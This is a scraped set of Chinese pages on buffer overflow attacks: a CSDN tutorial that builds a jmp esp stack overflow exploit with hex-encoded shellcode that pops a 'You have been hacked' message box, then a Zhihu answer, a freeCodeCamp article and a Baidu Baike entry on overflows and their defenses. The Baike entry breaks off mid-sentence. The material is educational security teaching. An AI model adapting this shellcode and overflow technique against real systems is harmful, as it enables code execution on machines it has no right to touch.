上述程序实现乐在 user32.dll 中查找 jmp esp 这条指令的地址(当然,jmp esp 在很多动态链接库中都存在,这里只是以 user32.dll 作为例子)。由于 jmp esp 指令的二进制表示为0xffe4,因此搜索算法就是搜索 dll 内这样的字节数据即可。 可以看到,这里列出了非常多的结果(我自己动手敲的时候VC链接报错,于是直接使用i春秋的图)。我们随便取出一个结果用于实验。这里我选择的是倒数第二行的0x77e35b79。也就是说,需要使用这个地址来覆盖程序的返回地址。这样,程序在返回时,就会执行 jmp esp,从而跳到返回地址下一个位置去执行该地址处的语句。

至此可以先总结一下即将要编写的程序中 “name” 数组中的内容,经过分析可以知道,其形式为 AAAAAAAAAAAAXXXXSSSS……SSSS:

其中前 12 个字符为任意字符(第 9-12 位是为了填充覆盖 ret 指令前存储的父函数 EBP 的值);XXXX 为返回地址(即我使用的是 0x77e35b79);而 SSSS 是想要让计算机执行的代码(即需要构造的执行弹窗的 ShellCode)。

(2)获取 Shellcode 中 API 函数(弹窗)的地址

下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个 API 函数,所以首先需要获取该函数的地址,这可以通过编写一个小程序来获取:

#include

#include

typedef void (*MYPROC)(LPTSTR);

int main()

{

HINSTANCE LibHandle;

MYPROC ProcAdd;

LibHandle = LoadLibrary("user32");

//获取user32.dll的地址

printf("user32 = 0x%x", LibHandle);

//获取MessageBoxA的地址

ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");

printf("MessageBoxA = 0x%x", ProcAdd);

getchar();

return 0;

}

效果如下: (3)编写汇编代码

将写汇编之前必要的信息罗列一下: 最终的汇编代码:

int main()

{

_asm{

sub esp,0x50 //抬高栈帧

xor ebx,ebx //清零

push ebx // 分割字符串

push 0x20676e69

push 0x6e726157 // push "Warning"

mov eax,esp //用eax存放“Warning”的指针

push ebx // 分割字符串

push 0x2020292e

push 0x592e4a20

push 0x79622821

push 0x64656b63

push 0x6168206e

push 0x65656220

push 0x65766168

push 0x20756f59 // push "You have been hacked!(by Jwm)"

mov ecx,esp //用ecx存放该字符串的指针

push ebx

push eax

push ecx

push ebx //MessageBox函数参数依次入栈

mov eax,0x77d507ea

call eax // call MessageBox

push ebx //ExitProcess函数参数入栈

mov eax, 0x7c81cafa

call eax // call ExitProcess

}

return 0;

}

(4)得到 Shellcode 机器码

在 VC 中在程序的 “_asm” 位置先下一个断点,然后按 F5(Go),再单击 Disassembly,就能够查看所转换出来的机器码(当然也可以使用 OD 或者 IDA 查看): 抽取出这些机器码,写入漏洞程序的数组中:

#include

#include

#include

char name[] = "x41x41x41x41x41x41x41x41" // name[0]~name[7]

"x41x41x41x41" // to Overlap EBP

"x79x5bxe3x77" // Return Address(Address of "Jmp eax")

"x83xECx50" // sub esp,0x50

"x33xDB" // xor ebx,ebx

"x53" // push ebx

"x68x69x6Ex67x20"

"x68x57x61x72x6E" // push "Warning"

"x8BxC4" // mov eax,esp

"x53" // push ebx

"x68x2Ex29x20x20"

"x68x20x4Ax2Ex59"

"x68x21x28x62x79"

"x68x63x6Bx65x64"

"x68x6Ex20x68x61"

"x68x20x62x65x65"

"x68x68x61x76x65"

"x68x59x6Fx75x20" // push "You have been hacked!(by Jwm)"

"x8BxCC" // mov ecx,esp

"x53" // push ebx

"x50" // push eax

"x51" // push ecx

"x53" // push ebx

"xB8xeax07xd5x77"

"xFFxD0" // call MessageBox

“x53”

“xB8xFAxCAx81x7C”

"xFFxD0"; // call MessageBox

int main()

{

char buffer[8];

strcpy(buffer, name);

printf("%s",buffer);

getchar();

return 0;

}

最终成果达到漏洞利用——当输入回车,main 执行完 getchar(),即将退出时,跳转到修改过的返回地址,随即通过跳板执行当前 ESP 指向的指令(即Shellcode),触发如下弹窗: (5)OllyDBG 验证 明显看出 name[] 数组时怎样溢出、覆盖的。

总结

为了在系统中插入攻击代码,攻击者既要插入代码,也要插入指向这段代码的指针。这个指针也是攻击字符串的一部分。产生这个指针需要知道这个字符串放置的栈地址。在过去,程序的栈地址非常容易预测。对于所有运行同样程序和操作系统版本的系统来说,在不同的机器之间,栈的位置是相当固定的。因此,如果攻击者可以确定一个常见的Web服务器所使用的栈空间,就可以设计一个在许多机器上都能实施的攻击。

避免缓冲区溢出的三种方法:

1、栈随机化

栈随机化的思想使得栈的位置在程序每次运行时都有变化。因此,即使许多机器都运行同样的代码,它们的栈地址都是不同的。实现的方式是:程序开始时,在栈上分配一段 0 ~ n 字节之间的随机大小的空间,例如,使用分配函数 alloca 在栈上分配指定字节数量的空间。程序不使用这段空间,但是它会导致程序每次执行时后续的栈位置发生了变化。分配的范围 n 必须足够大,才能获得足够多的栈地址变化,但是又要足够小,不至于浪费程序太多的空间。

2、检测栈是否被破坏

计算机的第二道防线是能够检测到何时栈已经被破坏。我们在 echo 函数示例中看到,当访问缓冲区越界时,会破坏程序的运行状态。在C语言中,没有可靠的方法来防止对数组的越界写。但是,我们能够在发生了越界写的时候,在造成任何有害结果之前,尝试检测到它。GCC 在产生的代码中加人了一种栈保护者机制,来检测缓冲区越界。

3、限制可执行代码区域

最后一招是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。在典型的程序中,只有保存编译器产生的代码的那部分内存才需要是可执行的。其他部分可以被限制为只允许读和写。许多系统都有三种访问形式:读(从内存读数据)、写(存储数据到内存)和执行(将内存的内容看作机器级代码)。以前,x86体系结构将读和执行访问控制合并成一个1位的标志,这样任何被标记为可读的页也都是可执行的。栈必须是既可读又可写的,因而栈上的字节也都是可执行的。已经实现的很多机制,能够限制一些页是可读但是不可执行的,然而这些机制通常会带来严重的性能损失。

计算机提供了多种方式来弥补我们犯错可能产生的严重后果,但是最关键的还是我们尽量减少犯错。例如,对于 gets,strcpy 等函数我们应替换为 fgets,strncpy 等。在数组中,我们可以将数组的索引声明为 size_t 类型,从根本上防止它传递负数。此外,还可以在访问数组前来加上 num 小于 ARRAY_MAX 语句来检查数组的上界。总之,要养成良好的编程习惯,这样可以节省很多宝贵的时间。

本文参考文章:

缓冲区溢出漏洞;缓冲区溢出攻击;网络攻防实战技术之——缓冲区溢出篇;BiliBili视频教程——缓冲区溢出分析基础篇。

【汇编部分知识补充】

1)数据段的操作: 2)栈操作: 3)PUSH 指令: 4)程序在内存中的映像 当进程被加载到内存时,会被分成很多段:

代码段:保存程序文本,指令指针 EIP 就是指向代码段,可读可执行不可写;数据段:保存初始化的全局变量和静态变量,可读可写不可执行;BSS:未初始化的全局变量和静态变量;堆(Heap):动态分配内存,向地址增大的方向增长,可读可写可执行;栈(Stack):存放局部变量,函数参数,当前状态,函数调用信息等,向地址减小的方向增长,可读可写可执行;环境/参数段(environment/argumentssection):用来存储系统环境变量的一份复制文件,进程在运行时可能需要。例如,运行中的进程,可以通过环境变量来访问路径、shell 名称、主机名等信息。该节是可写的,因此在缓冲区溢出(buffer overflow)攻击中都可以使用该段。

5)Debug程序

优惠劵

Tr0e

关注

关注

26

点赞

83

收藏

觉得还不错?

一键收藏

打赏

知道了

0

评论

浅析缓冲区溢出漏洞的利用与Shellcode编写

文章目录前言前言缓冲区是内存中存放数据的地方。在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。缓冲区溢出就好比是将十升水放进只有五升容量的桶里。很显然,一旦容器满了,余下的部分就会溢出在地板上,弄得一团糟。缓冲区溢出漏洞是指在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出的现象。...

复制链接

扫一扫

专栏目录

参与评论

您还未登录,请先

登录

后发表或查看评论

Tr0e

CSDN认证博客专家

CSDN认证企业博客

码龄7年

暂无认证

273

原创

1130

周排名

1243

总排名

146万+

访问

等级

1万+

积分

1万+

粉丝

3029

获赞

708

评论

1万+

收藏

私信

关注

热门文章

Web安全-一句话木马

286005

Python攻防-模拟猜测附近局域网WIFI密码

64713

渗透测试-验证码的爆破与绕过

37592

Kali渗透-ARP断网攻击与监听

32523

Kali Linux-MSF远控局域网手机

30392

分类专栏

漏洞分析

28篇

渗透测试

68篇

Web安全

40篇

终端安全

55篇

CTF之路

20篇

Python3

16篇

编程开发

46篇

最新评论

JAVA代码审计之Shiro反序列化漏洞分析

网安小t:

好评大佬 我第一次接触java并且第一次代码审计 看了两天的资料 硬是没弄明白IDEA怎么审计java项目 看完你的瞬间懂了 感谢

Python攻防-模拟猜测附近局域网WIFI密码

2301_78403116:

https://blog.csdn.net/leidawangzi/article/details/110826210

Android-通讯卫士

CSDN-Ada助手:

如何在 Android 应用中加载大型图片?

Kali Linux-SET社会工程学攻击

Tr0e:

跟你实践对象的前端代码有关,如果前端JS做了加密,你收集到的就是密文。你可以修改对应JS代码。

Kali Linux-MSF远控局域网手机

刺猬索尼克:

我在12手机上试了,起初成功拿到了meterpreter,后来就断线了

您愿意向朋友推荐“博客详情页”吗?

强烈不推荐

不推荐

一般般

推荐

强烈推荐

提交

最新文章

浅析SpringBoot框架常见未授权访问漏洞

Apache Apisix网关系统历史漏洞复现分析

Nacos系统历史CVE漏洞的复现分析与检测

2024年6篇

2023年16篇

2022年22篇

2021年69篇

2020年50篇

2019年65篇

2018年45篇

目录

目录

分类专栏

漏洞分析

28篇

渗透测试

68篇

Web安全

40篇

终端安全

55篇

CTF之路

20篇

Python3

16篇

编程开发

46篇

目录

评论

被折叠的  条评论

为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

祝福语

请填写红包祝福语或标题

红包数量

红包个数最小为10个

红包总金额

红包金额最低5元

余额支付

当前余额3.43元

前往充值 >

需支付:10.00元

取消

确定

下一步

知道了

成就一亿技术人!

领取后你会自动成为博主和红包主的粉丝

规则

hope_wisdom 发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1

¥2

¥4

¥6

¥10

¥20

扫码支付:¥1

获取中

扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额

0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。 2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值

缓冲区溢出攻击如何猜测恶意代码地址? - 知乎

缓冲区溢出攻击如何猜测恶意代码地址? - 知乎首页知乎知学堂发现等你来答​切换模式登录/注册网络安全恶意代码C / C++缓冲区溢出缓冲区缓冲区溢出攻击如何猜测恶意代码地址?课上讲到了利用缓冲区溢出可以进行恶意代码攻击的简单原理,教授讲的很简单,基本上就是先用恶意代码地址大量覆写缓冲区直到程序崩溃(覆写了返回地址),然后用…显示全部 ​关注者2被浏览108关注问题​写回答​邀请回答​好问题​添加评论​分享​1 个回答默认排序乏微之无知是福​ 关注缓冲区溢出攻击是一种常见的计算机安全漏洞利用方式。攻击者通过向程序输入超过其所能处理的数据量,导致数据溢出到邻近的内存区域,从而可能篡改程序的正常流程,执行恶意代码。您提到的“猜测恶意代码地址”通常指的是返回导向编程(Return-Oriented Programming, ROP)攻击中的一部分在早期的操作系统中,由于缺乏现代的安全措施,攻击者可以通过不断尝试来猜测返回地址,但正如您所说,现代操作系统采用了多种安全机制来阻止这种攻击,其中包括:栈随机化(Stack Randomization):每次程序运行时栈的基址都会随机化,使得攻击者难以预测栈上的地址栈保护(Stack Cookies):在栈帧的返回地址和局部变量之间插入一个随机的值,当函数返回时检查这个值是否被修改,如果被修改则停止程序执行数据执行保护(Data Execution Prevention, DEP):确保某些内存区域(如栈)不可执行,这样即使攻击者能够在这些区域注入代码也无法执行地址空间布局随机化(Address Space Layout Randomization, ASLR):操作系统随机化内存中加载的库和程序的地址空间,使得攻击者难以定位特定的函数或代码段尽管有了这些安全措施,但缓冲区溢出攻击仍然是可能的,攻击者需要采用更为复杂的技术来绕过这些保护措施。以下是一些可能的攻击方法:ROP攻击:不直接注入代码,而是利用程序中已有的小片段(称为“gadgets”),通过控制返回地址,依次执行这些小片段来完成攻击信息泄露:利用程序中的其他漏洞泄露内存地址信息,帮助攻击者绕过ASLR针对非随机化区域:攻击那些没有随机化或没有启用DEP的内存区域,如某些老旧的库或系统组件利用其他漏洞:结合使用其他安全漏洞,如类型混淆、整数溢出等,以绕过保护机制总之,尽管现代操作系统采取了多种安全措施来防止缓冲区溢出攻击,但攻击者仍然可能通过复杂的技术手段来利用这些漏洞。因此,开发人员应当采取多种安全最佳实践,如使用安全的编程语言、定期更新和打补丁、进行安全审计等,来保护软件免受此类攻击发布于 2024-02-28 15:45​赞同​​添加评论​分享​收藏​喜欢收起​​

什么是缓冲区溢出攻击以及如何阻止它

什么是缓冲区溢出攻击以及如何阻止它

搜索

提交您的搜索查询

论坛

捐款

2022年6月5日

/

#网络安全

什么是缓冲区溢出攻击以及如何阻止它

原文:What is a Buffer Overflow Attack – and How to Stop it,作者:Megan Kaczanowski当写到内存的内容超过分配给它的大小时,就会发生缓冲区溢出。这种行为可能会导致数据损坏、程序崩溃,甚至是恶意代码的执行。

C、C++和Objective-C是容易出现缓冲区溢出漏洞的主要语言(因为它们比许多解释型语言更直接地处理内存),然而它们很大程度上奠定了互联网发展的基础。

即使代码是用"安全"语言(如Python)编写的,如果它调用任何用C、C++或Objective C编写的库,它仍然有可能受到缓冲区溢出的影响。

内存分配

为了理解缓冲区溢出,我们有必要了解一下程序如何分配内存。在C语言中,你可以在编译时在堆栈中分配内存,也可以在运行时在堆中分配内存。

在堆栈上声明一个变量:int numberPoints = 10;

或者在堆上声明变量:int* ptr = malloc (10 * sizeof(int));

缓冲区溢出可以发生在栈(栈溢出)或堆上(堆溢出)。

一般来说,栈溢出比堆溢出更常被利用。这是因为栈包含一连串的嵌套函数,每个函数都返回调用函数的地址,在函数运行结束后,栈应该返回该地址。这个返回地址可以被替换为执行一段恶意代码的指令。

由于堆较少存储这些返回地址,因此更难发起攻击(尽管不是不可能)。堆上的内存通常包含程序数据,并且是在程序运行时动态分配的。这意味着堆溢出很可能要覆盖一个函数指针--比栈溢出更难也更不有效。

由于栈溢出是更常被利用的缓冲区溢出类型,我们将简要地挖掘它们的具体工作原理。

栈溢出

当一个可执行文件被运行时,它在一个进程中运行,每个进程都有自己的栈。当进程执行主函数时,它将发现并创建新的局部变量(这些变量将被推到堆栈的顶部)和对其他函数的调用(这些函数将创建一个新的栈帧)。

为了更清楚的展示,请参考下图:

https://en.wikipedia.org/wiki/Stack_(abstract_data_type)

那么,什么是栈帧?

首先,调用栈基本上是一个特定程序的汇编代码。它是一个由变量和栈帧组成的栈,它告诉计算机以什么顺序执行指令。每个尚未完成执行的函数都会有一个栈帧,当前正在执行的函数在堆栈顶部。

为了持续的追踪栈帧,计算机在内存中保留了以下几个指针:

栈指针: 指向进程调用栈的顶部(或压入栈的最后一个指针)。

指令指针: 指向下一条要执行的CPU指令的地址。

基准指针(BP):(也称为帧指针)指向当前栈帧的基点。只要程序在执行当前栈帧,它就保持不变(尽管栈指针会改变)。

例如,请看以下程序:

int main() {

int j = firstFunction(5);

return 0;

}

int firstFunction(int z) {

int x = 1 + z;

return x;

}

在调用 firstFunction 和执行语句int x = 1+z之后,调用栈会是这样的:

这里,main调用了firstFunction(目前正在执行),所以它在调用栈的顶部。返回地址是调用它的函数的内存地址(这是在创建栈帧时由指令指针持有)。仍在范围内的局部变量也在调用栈上。当它们被执行并超出范围时,它们会从栈顶部被“弹出”。

因此,计算机能够跟踪哪条指令需要被执行,判断以何种顺序执行。栈溢出是为了用攻击者自己设计的恶意地址覆盖这些保存的返回地址之一。

缓冲区溢出漏洞实例(C):

int main() {

bufferOverflow();

}

bufferOverflow() {

char textLine[10];

printf("Enter your line of text: ");

gets(textLine);

printf("You entered: ", textLine);

return 0;

}

这个简单的例子读入了任意数量的数据(gets会读入到文件的末尾或换行符)。想一想我们上面看过的调栈,你就会明白为什么这很危险。如果用户输入的数据多于变量被分配的数量,用户输入的字符串将覆盖调用栈的下一个内存位置。如果它足够长,它甚至可能覆盖调用函数的返回地址。

计算机对此的反应取决于栈的实现方式和特定系统中内存的分配方式。对缓冲区溢出的反应是不可预测的,从程序故障,到崩溃,再到执行恶意代码。

为什么会发生缓冲区溢出?

缓冲区溢出之所以成为如此重大的问题,是因为C和C++中的许多内存操作函数不执行任何边界检查。缓冲区溢出现在相当有名,它们也非常普遍地被利用(例如,WannaCry 利用了缓冲区溢出)。

缓冲区溢出最常见的情况是,代码依赖于外部输入数据,这种方式过于复杂,程序员不容易理解其行为,或者它有代码直接范围之外的依赖关系。

网络服务器、应用服务器和网络应用环境都容易受到缓冲区溢出的影响。

用解释型语言编写的环境是个例外,尽管解释者本身也容易受到溢出的影响。

如何减轻缓冲区溢出的影响

使用解释性的语言 这并不容易受缓冲区溢出的影响。

避免使用不进行缓冲区检查的函数(例如,在C语言中,用 fgets() 代替 gets()。)

使用能够帮助识别不安全函数或错误的编译器。

使用金丝雀, 这是一种 "防护值",可以帮助防止缓冲区溢出。它们被插入到堆栈中的返回地址之前,并在返回地址被访问之前被检查。如果程序检测到金丝雀值的变化,它将中止进程,防止攻击者得逞。警戒值要么是随机的(所以,攻击者很难猜到),要么是一串字符,由于技术原因,不可能被覆盖。

重新安排局部变量 所以普通变量(单个固定大小的数据对象)高于数组变量(包含多个值)。这意味着,如果数组变量真的溢出,它们不会影响普通变量。这种技术,当与警戒值相结合时,它可以帮助抵御缓冲区溢出攻击。

将一个栈变为不可执行 通过设置NX(No-eXecute)位,防止攻击者将shellcode直接插入栈中并在那里执行它。这并不是一个完美的解决方案,因为即使是不可执行的栈也会成为缓冲区溢出攻击的受害者,如返回到libc攻击。当栈框架的返回地址被替换成已经在进程地址空间的库的地址时,这种攻击就会发生。此外,并非所有的CPU都允许设置NX位。

ASLR(地址空间布局随机化),它可以作为一种一般的防御措施(以及对返回到libc攻击的特殊防御)。这意味着,无论何时一个库文件或其他函数被运行中的进程调用,其地址都会被一个随机数移位。这使得几乎不可能将一个固定的进程内存地址与函数联系起来,这意味着攻击者很难,甚至不可能知道从哪里调用特定的函数。在许多版本的Linux、OS X和Android中,ASLR是默认开启的(可以在命令行中切换关闭)。

关于Stack Underflow的说明:

当同一个程序的两个部分以不同的方式处理同一个内存块时,也有可能出现缓冲区溢出的漏洞。例如,如果你分配了一个大小为X的数组,但用大小为x

从本质上讲,你可能已经拉出了一些数据,这些数据是以前使用该内存时留下的。最好的情况是,它是没有任何意义的垃圾,而最坏的情况是,它是攻击者可能会滥用的敏感数据。

资料来源/进一步的阅读:

Computer and Network Security Lectures, Avinash Kak

OWASP Buffer Overflows

Stack vs Heap

在 freeCodeCamp 免费学习编程。 freeCodeCamp 的开源课程已帮助 40,000 多人获得开发者工作。开始学习

freeCodeCamp 是捐助者支持的 501(c)(3) 条款下具有免税资格的慈善组织(税号:82-0779546)。

我们的使命:帮助人们免费学习编程。我们通过创建成千上万的视频、文章和交互式编程课程——所有内容向公众免费开放——来实现这一目标。

所有给 freeCodeCamp 的捐款都将用于我们的教育项目,购买服务器和其他服务,以及聘用员工。

你可以点击此处免税捐款。

精选文章

about:blank 是什么意思

打开 .dat 文件

Node 最新版本

反恶意软件服务

Windows10 产品密钥

Git 切换分支

AppData 文件夹

Windows 10 屏幕亮度

JSON 注释

MongoDB Atlas 教程

Python 字符串转数字

Git 命令

更新 NPM 依赖

谷歌恐龙游戏

CSS 使用 SVG 图片

Python 获取时间

Git Clone 指定分支

JS 字符串反转

React 个人作品网站

媒体查询范围

forEach 遍历数组

撤销 Git Add

OSI 七层网络

Event Loop 执行顺序

CMD 删除文件

Git 删除分支

HTML 表格代码

Nano 怎么保存退出

HTML5 模板

学习编程

移动应用

我们的慈善机构

简介

校友网络

开源

商店

支持

赞助商

学术诚信

行为规范

隐私条例

服务条款

版权条例

缓冲区溢出攻击_百度百科

出攻击_百度百科 网页新闻贴吧知道网盘图片视频地图文库资讯采购百科百度首页登录注册进入词条全站搜索帮助首页秒懂百科特色百科知识专题加入百科百科团队权威合作下载百科APP个人中心缓冲区溢出攻击播报讨论上传视频计算机术语收藏查看我的收藏0有用+10本词条由“科普中国”科学百科词条编写与应用工作项目 审核 。缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动。缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统关机、重新启动等后果。中文名缓冲区溢出攻击外文名buffer overflow定    义利用缓冲区溢出漏洞进行攻击行动性    质一种非常普遍、非常危险的漏洞存在区域各种操作系统、应用软件目录1特点2危害3原理4问题▪在程序的地址空间里安排适当的代码的方法▪控制程序转移到攻击代码的方法▪代码植入和流程控制技术的综合分析5实验6防范方法▪非执行的缓冲区▪编写正确的代码7相关对策8攻击实例特点播报编辑缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。危害播报编辑可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。缓冲区溢出攻击有多种英文名称:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak,overrun screw;它们指的都是同一种攻击手段。第一个缓冲区溢出攻击--Morris蠕虫,发生在二十年前,它曾造成了全世界6000多台网络服务器瘫痪。在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为 [1]。原理播报编辑通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:void function(char *str) {char buffer[16]; strcpy(buffer,str);}上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样的问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf()等。当然,随便往缓冲区中填东西造成它溢出一般只会出现分段错误(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有2种是缓冲区溢出。而在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,至少有半数的建议是和缓冲区溢出有关的。在ugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是一个很严重的安全问题。缓冲区溢出漏洞和攻击有很多种形式,会在第二节对他们进行描述和分类。相应地防卫手段也随者攻击方法的不同而不同,将在第四节描述,它的内容包括针对每种攻击类型的有效的防卫手段。问题播报编辑缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root权限的shell。为了达到这个目的,攻击者必须达到如下的两个目标:⒈ 在程序的地址空间里安排适当的代码。⒉ 通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。在程序的地址空间里安排适当的代码的方法有两种在被攻击程序地址空间里安排攻击代码的方法:1、植入法攻击者向被攻击的程序输入一个字符串,程序会把这个字符串放到缓冲区里。这个字符串包含的资料是可以在这个被攻击的硬件平台上运行的指令序列。在这里,攻击者用被攻击程序的缓冲区来存放攻击代码。缓冲区可以设在任何地方:堆栈(stack,自动变量)、堆(heap,动态分配的内存区)和静态资料区。2、利用已经存在的代码有时,攻击者想要的代码已经在被攻击的程序中了,攻击者所要做的只是对代码传递一些参数。比如,攻击代码要求执行“exec (bin/sh)”,而在libc库中的代码执行“exec (arg)”,其中arg是一个指向一个字符串的指针参数,那么攻击者只要把传入的参数指针改向指向“/bin/sh”。控制程序转移到攻击代码的方法所有的这些方法都是在寻求改变程序的执行流程,使之跳转到攻击代码。最基本的就是溢出一个没有边界检查或者其它弱点的缓冲区,这样就扰乱了程序的正常的执行顺序。通过溢出一个缓冲区,攻击者可以用暴力的方法改写相邻的程序空间而直接跳过了系统的检查。分类的基准是攻击者所寻求的缓冲区溢出的程序空间类型。原则上是可以任意的空间。实际上,许多的缓冲区溢出是用暴力的方法来寻求改变程序指针的。这类程序的不同之处就是程序空间的突破和内存空间的定位不同。主要有以下三种:1、活动纪录(Activation Records)每当一个函数调用发生时,调用者会在堆栈中留下一个活动纪录,它包含了函数结束时返回的地址。攻击者通过溢出堆栈中的自动变量,使返回地址指向攻击代码。通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。这类的缓冲区溢出被称为堆栈溢出攻击(Stack Smashing Attack),是最常用的缓冲区溢出攻击方式。2、函数指针(Function Pointers)函数指针可以用来定位任何地址空间。例如:“void (* foo)()”声明了一个返回值为void的函数指针变量foo。所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出这个缓冲区来改变函数指针。在某一时刻,当程序通过函数指针调用函数时,程序的流程就按攻击者的意图实现了。它的一个攻击范例就是在Linux系统下的superprobe程序。3、长跳转缓冲区(Longjmp buffers)在C语言中包含了一个简单的检验/恢复系统,称为setjmp/longjmp。意思是在检验点设定“setjmp(buffer)”,用“longjmp(buffer)”来恢复检验点。然而,如果攻击者能够进入缓冲区的空间,那么“longjmp(buffer)”实际上是跳转到攻击者的代码。象函数指针一样,longjmp缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。一个典型的例子就是Perl 5.003的缓冲区溢出漏洞;攻击者首先进入用来恢复缓冲区溢出的的longjmp缓冲区,然后诱导进入恢复模式,这样就使Perl的解释器跳转到攻击代码上了 [2]。代码植入和流程控制技术的综合分析最简单和常见的缓冲区溢出攻击类型就是在一个字符串里综合了代码植入和活动纪录技术。攻击者定位一个可供溢出的自动变量,然后向程序传递一个很大的字符串,在引发缓冲区溢出,改变活动纪录的同时植入了代码。这个是由Levy指出的攻击的模板。因为C在习惯上只为用户和参数开辟很小的缓冲区,因此这种漏洞攻击的实例十分常见。代码植入和缓冲区溢出不一定要在在一次动作内完成。攻击者可以在一个缓冲区内放置代码,这是不能溢出的缓冲区。然后,攻击者通过溢出另外一个缓冲区来转移程序的指针。这种方法一般用来解决可供溢出的缓冲区不够大(不能放下全部的代码)的情况。如果攻击者试图使用已经常驻的代码而不是从外部植入代码,他们通常必须把代码作为参数调用。举例来说,在libc(几乎所有的C程序都要它来连接)中的部分代码段会执行“exec(something)”,其中somthing就是参数。攻击者然后使用缓冲区溢出改变程序的参数,然后利用另一个缓冲区溢出使程序指针指向libc中的特定的代码段。实验播报编辑2000年1月,Cerberus 安全小组发布了微软的ⅡS 4/5存在的一个缓冲区溢出漏洞。攻击该漏洞,可以使Web服务器崩溃,甚至获取超级权限执行任意的代码。微软的ⅡS 4/5 是一种主流的Web服务器程序;因而,该缓冲区溢出漏洞对于网站的安全构成了极大的威胁;它的描述如下:浏览器向ⅡS提出一个HTTP请求,在域名(或IP地址)后,加上一个文件名,该文件名以“.htr”做后缀。于是ⅡS认为客户端正在请求一个“.htr”文件,“.htr”扩展文件被映像成ISAPI(Internet Service API)应用程序,ⅡS会复位向所有针对“.htr”资源的请求到 ISM.DLL程序 ,ISM.DLL 打开这个文件并执行之。浏览器提交的请求中包含的文件名存储在局部变量缓冲区中,若它很长,超过600个字符时,会导致局部变量缓冲区溢出,覆盖返回地址空间,使ⅡS崩溃。更进一步,在2K缓冲区中植入一段精心设计的代码,可以使之以系统超级权限运行。防范方法播报编辑缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响。1.通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。2.强制写正确的代码的方法。3.利用编译器的边界检查来实现缓冲区的保护。这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是相对而言代价比较大。4.一种间接的方法,这个方法在程序指针失效前进行完整性检查。虽然这种方法不能使得所有的缓冲区溢出失效,但它能阻止绝大多数的缓冲区溢出攻击。分析这种保护方法的兼容性和性能优势。非执行的缓冲区通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术。在早期的Unix系统设计中,只允许程序代码在代码段中执行。但是Unix和MS 